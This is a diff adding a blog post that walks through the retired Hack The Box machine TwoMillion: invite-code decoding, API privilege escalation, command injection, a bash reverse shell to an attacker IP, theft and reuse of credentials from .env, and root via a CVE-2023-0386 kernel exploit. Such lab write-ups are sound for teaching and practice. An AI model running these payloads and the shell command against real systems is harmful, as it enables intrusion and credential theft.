|
| 1 | +--- |
| 2 | +published: true |
| 3 | +layout: post |
| 4 | +title: "HTB: TwoMillion" |
| 5 | +categories: [hackthebox,htb] |
| 6 | +tags: [htb,hackthebox,easy,retired] |
| 7 | +--- |
| 8 | + |
| 9 | + |
| 10 | + |
| 11 | +# Introduction |
| 12 | + |
| 13 | +TwoMillion is an easy-rated Linux machine on Hack The Box that features a recreation of the old HTB website where users had to hack their way in to receive an invite code. The attack path involves reverse-engineering an invite code generation API, exploiting a command injection vulnerability in an admin VPN endpoint, and escalating privileges via a kernel exploit targeting CVE-2023-0386 (OverlayFS/FUSE). |
| 14 | + |
| 15 | +# Enumeration |
| 16 | + |
| 17 | +## Nmap |
| 18 | + |
| 19 | +Starting with a full port scan to identify running services: |
| 20 | + |
| 21 | +```bash |
| 22 | +nmap -sC -sV -p- -v 2million.htb |
| 23 | +``` |
| 24 | + |
| 25 | +Two ports came back open: |
| 26 | + |
| 27 | +``` |
| 28 | +PORT STATE SERVICE VERSION |
| 29 | +22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 30 | +| ssh-hostkey: |
| 31 | +| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |
| 32 | +|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) |
| 33 | +80/tcp open http nginx |
| 34 | +|_http-title: Did not follow redirect to http://2million.htb/ |
| 35 | +| http-methods: |
| 36 | +|_ Supported Methods: GET HEAD POST OPTIONS |
| 37 | +Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel |
| 38 | +``` |
| 39 | + |
| 40 | +SSH (OpenSSH 8.9p1) and an Nginx web server on port 80. The web server was redirecting to `http://2million.htb/`, so that hostname was added to `/etc/hosts` before proceeding. |
| 41 | + |
| 42 | +## Web Application |
| 43 | + |
| 44 | +Browsing the site on port 80 revealed a recreation of the old Hack The Box website -- the one where users had to hack their way in to get an invite code to join the platform. |
| 45 | + |
| 46 | +# Foothold |
| 47 | + |
| 48 | +## Cracking the Invite Code |
| 49 | + |
| 50 | +The first step was figuring out how to generate a valid invite code. Inspecting the page source revealed an interesting JavaScript file: |
| 51 | + |
| 52 | +`http://2million.htb/js/inviteapi.min.js` |
| 53 | + |
| 54 | +The script was obfuscated but contained references to two key functions: `makeInviteCode` and `verifyInviteCode`. Running `makeInviteCode()` in the browser's developer console returned an encrypted response: |
| 55 | + |
| 56 | + |
| 57 | + |
| 58 | +The response indicated the data was ROT13 encoded. Decoding it revealed the instructions: |
| 59 | + |
| 60 | +``` |
| 61 | +In order to generate the invite code, make a POST request to /api/v1/invite/generate |
| 62 | +``` |
| 63 | + |
| 64 | +Following those instructions with curl: |
| 65 | + |
| 66 | +```bash |
| 67 | +curl -X POST -v "http://2million.htb/api/v1/invite/generate" |
| 68 | +``` |
| 69 | + |
| 70 | +```json |
| 71 | +{"0":200,"success":1,"data":{"code":"MDZFUlAtTkg0UlItUU5BWjItQTMxR1k=","format":"encoded"}} |
| 72 | +``` |
| 73 | + |
| 74 | +The response contained a base64-encoded invite code. Decoding it: |
| 75 | + |
| 76 | +```bash |
| 77 | +echo -n 'MDZFUlAtTkg0UlItUU5BWjItQTMxR1k=' | base64 -d |
| 78 | +06ERP-NH4RR-QNAZ2-A31GY |
| 79 | +``` |
| 80 | + |
| 81 | +## Registering and Logging In |
| 82 | + |
| 83 | +Using the decoded invite code to register an account: |
| 84 | + |
| 85 | + |
| 86 | + |
| 87 | +After registering and logging in, the old HTB dashboard appeared: |
| 88 | + |
| 89 | + |
| 90 | + |
| 91 | +Only a few endpoints within the site were functional: |
| 92 | + |
| 93 | +``` |
| 94 | +Dashboard at /home |
| 95 | +Rules at /home/rules |
| 96 | +Changelog at /home/changelog |
| 97 | +Access at /home/access |
| 98 | +``` |
| 99 | + |
| 100 | +The Access page (`/home/access`) allowed generating a VPN connection pack. Two API endpoints were associated with it: |
| 101 | + |
| 102 | +``` |
| 103 | +/api/v1/user/vpn/generate |
| 104 | +/api/v1/user/vpn/regenerate |
| 105 | +``` |
| 106 | + |
| 107 | +## API Enumeration |
| 108 | + |
| 109 | +Loading up Burp Suite to intercept traffic, I captured the VPN generation request and sent it to Repeater. Changing the endpoint from `/api/v1/user/vpn/generate` to just `/api` revealed that the API used version 1: |
| 110 | + |
| 111 | + |
| 112 | + |
| 113 | +Hitting `/api/v1` returned the full list of available API endpoints: |
| 114 | + |
| 115 | + |
| 116 | + |
| 117 | +```json |
| 118 | +{ |
| 119 | + "v1": { |
| 120 | + "user": { |
| 121 | + "GET": { |
| 122 | + "/api/v1": "Route List", |
| 123 | + "/api/v1/invite/how/to/generate": "Instructions on invite code generation", |
| 124 | + "/api/v1/invite/generate": "Generate invite code", |
| 125 | + "/api/v1/invite/verify": "Verify invite code", |
| 126 | + "/api/v1/user/auth": "Check if user is authenticated", |
| 127 | + "/api/v1/user/vpn/generate": "Generate a new VPN configuration", |
| 128 | + "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration", |
| 129 | + "/api/v1/user/vpn/download": "Download OVPN file" |
| 130 | + }, |
| 131 | + "POST": { |
| 132 | + "/api/v1/user/register": "Register a new user", |
| 133 | + "/api/v1/user/login": "Login with existing user" |
| 134 | + } |
| 135 | + }, |
| 136 | + "admin": { |
| 137 | + "GET": { |
| 138 | + "/api/v1/admin/auth": "Check if user is admin" |
| 139 | + }, |
| 140 | + "POST": { |
| 141 | + "/api/v1/admin/vpn/generate": "Generate VPN for specific user" |
| 142 | + }, |
| 143 | + "PUT": { |
| 144 | + "/api/v1/admin/settings/update": "Update user settings" |
| 145 | + } |
| 146 | + } |
| 147 | + } |
| 148 | +} |
| 149 | +``` |
| 150 | + |
| 151 | +The admin section immediately stood out -- particularly `PUT /api/v1/admin/settings/update`. |
| 152 | + |
| 153 | +## Escalating to Admin via the API |
| 154 | + |
| 155 | +Hitting the `/api/v1/admin/settings/update` endpoint with a PUT request, the API complained about a missing `email` field: |
| 156 | + |
| 157 | + |
| 158 | + |
| 159 | +Adding the `email` parameter, it then asked for `is_admin`: |
| 160 | + |
| 161 | + |
| 162 | + |
| 163 | +After trying `true` (which didn't work), setting `is_admin: 1` successfully elevated the account to admin: |
| 164 | + |
| 165 | + |
| 166 | + |
| 167 | +## Command Injection |
| 168 | + |
| 169 | +With admin privileges, the next target was `POST /api/v1/admin/vpn/generate`. Hitting this endpoint revealed it required a `username` parameter: |
| 170 | + |
| 171 | + |
| 172 | + |
| 173 | +Adding a username returned what appeared to be VPN configuration output: |
| 174 | + |
| 175 | + |
| 176 | + |
| 177 | +The PHP backend was likely calling an external script with the username as an argument -- something like `exec("somescript.sh $username")`. To test for command injection, the username was set to `; id #` which would terminate the script command, execute `id`, and comment out anything after: |
| 178 | + |
| 179 | + |
| 180 | + |
| 181 | +Command injection confirmed -- the output of `id` came back showing `uid=33(www-data)`. |
| 182 | + |
| 183 | +## Enumerating via Injection |
| 184 | + |
| 185 | +Using the injection to explore the filesystem, listing `/home/` revealed a single user: |
| 186 | + |
| 187 | + |
| 188 | + |
| 189 | +Attempting to read `user.txt` in `/home/admin/` was denied since we were running as `www-data`: |
| 190 | + |
| 191 | + |
| 192 | + |
| 193 | +## Getting a Reverse Shell |
| 194 | + |
| 195 | +Time to upgrade from blind command injection to a proper shell. A bash reverse shell was injected via the username parameter: |
| 196 | + |
| 197 | +``` |
| 198 | +bash -c 'bash -i >& /dev/tcp/KALI_IP/4444 0>&1' |
| 199 | +``` |
| 200 | + |
| 201 | + |
| 202 | + |
| 203 | +The shell landed as `www-data`. Upgrading to a full TTY using the standard technique: |
| 204 | + |
| 205 | +```bash |
| 206 | +python3 -c 'import pty; pty.spawn("/bin/bash")' |
| 207 | +# CTRL+Z to background |
| 208 | +stty raw -echo; fg |
| 209 | +reset |
| 210 | +``` |
| 211 | + |
| 212 | + |
| 213 | + |
| 214 | +## Lateral Movement to Admin |
| 215 | + |
| 216 | +The reverse shell dropped into `/var/www/html`. Listing the files revealed a `.env` file: |
| 217 | + |
| 218 | +``` |
| 219 | +www-data@2million:~/html$ cat .env |
| 220 | +DB_HOST=127.0.0.1 |
| 221 | +DB_DATABASE=htb_prod |
| 222 | +DB_USERNAME=admin |
| 223 | +DB_PASSWORD=SuperDuperPass123 |
| 224 | +``` |
| 225 | + |
| 226 | +Testing these credentials for password reuse over SSH: |
| 227 | + |
| 228 | + |
| 229 | + |
| 230 | +The database password worked for SSH as the `admin` user. The login banner also indicated the user had mail. |
| 231 | + |
| 232 | +## User Flag |
| 233 | + |
| 234 | +``` |
| 235 | +admin@2million:~$ cat ~/user.txt |
| 236 | +39202...........9edf4c |
| 237 | +``` |
| 238 | + |
| 239 | +# Privilege Escalation |
| 240 | + |
| 241 | +## Reading Admin's Mail |
| 242 | + |
| 243 | +The SSH login banner mentioned mail waiting for the admin user: |
| 244 | + |
| 245 | + |
| 246 | + |
| 247 | +``` |
| 248 | +admin@2million:~$ cat /var/mail/admin |
| 249 | +From: ch4p <ch4p@2million.htb> |
| 250 | +To: admin <admin@2million.htb> |
| 251 | +Cc: g0blin <g0blin@2million.htb> |
| 252 | +Subject: Urgent: Patch System OS |
| 253 | +Date: Tue, 1 June 2023 10:45:22 -0700 |
| 254 | +
|
| 255 | +Hey admin, |
| 256 | +
|
| 257 | +I'm know you're working as fast as you can to do the DB migration. |
| 258 | +While we're partially down, can you also upgrade the OS on our web host? |
| 259 | +There have been a few serious Linux kernel CVEs already this year. |
| 260 | +That one in OverlayFS / FUSE looks nasty. We can't get popped by that. |
| 261 | +
|
| 262 | +HTB Godfather |
| 263 | +``` |
| 264 | + |
| 265 | +The mail from ch4p (HTB's founder) directly hinted at an OverlayFS/FUSE kernel vulnerability. |
| 266 | + |
| 267 | +## CVE-2023-0386 - OverlayFS/FUSE |
| 268 | + |
| 269 | +A quick search for OverlayFS/FUSE kernel CVEs pointed to CVE-2023-0386: |
| 270 | + |
| 271 | + |
| 272 | + |
| 273 | +A proof-of-concept exploit was found on GitHub. The exploit was downloaded as a ZIP, then uploaded to the target via rsync: |
| 274 | + |
| 275 | +```bash |
| 276 | +rsync -v --progress CVE-2023-0386-master.zip admin@2million.htb:/home/admin |
| 277 | +``` |
| 278 | + |
| 279 | +On the target, the exploit was unzipped and compiled: |
| 280 | + |
| 281 | +```bash |
| 282 | +admin@2million:~$ unzip CVE-2023-0386-master.zip |
| 283 | +admin@2million:~$ cd CVE-2023-0386-master |
| 284 | +admin@2million:~/CVE-2023-0386-master$ make all |
| 285 | +``` |
| 286 | + |
| 287 | +The exploit requires two terminals. In Terminal 1, the fuse binary is executed: |
| 288 | + |
| 289 | + |
| 290 | + |
| 291 | +In Terminal 2, the exp binary is executed: |
| 292 | + |
| 293 | + |
| 294 | + |
| 295 | +After the exploit completes, running `sudo bash` drops into a root shell: |
| 296 | + |
| 297 | + |
| 298 | + |
| 299 | +## Root Flag |
| 300 | + |
| 301 | +``` |
| 302 | +root@2million:~# cat /root/root.txt |
| 303 | +55d1f15...........593f8c |
| 304 | +``` |
| 305 | + |
| 306 | +# Summary |
| 307 | + |
| 308 | +| Stage | Technique | |
| 309 | +| --- | --- | |
| 310 | +| Enumeration | Nmap full port scan, vhost discovery | |
| 311 | +| Invite Code | Reverse-engineering `inviteapi.min.js`, ROT13 decoding, base64 decoding | |
| 312 | +| API Abuse | Enumerating API endpoints, escalating to admin via `PUT /api/v1/admin/settings/update` | |
| 313 | +| Foothold | Command injection in `/api/v1/admin/vpn/generate` username parameter | |
| 314 | +| Lateral Movement | Password reuse from `.env` database credentials to SSH as admin | |
| 315 | +| Privilege Escalation | CVE-2023-0386 OverlayFS/FUSE kernel exploit | |
| 316 | + |
| 317 | +TwoMillion is a nostalgic machine that recreates the original HTB invite challenge while teaching several important concepts: always enumerate API endpoints when you find one, test user-controlled input for command injection especially when backend scripts are involved, check for credential reuse across services, and pay attention to system mail -- it can contain direct hints about the privilege escalation path. |
0 commit comments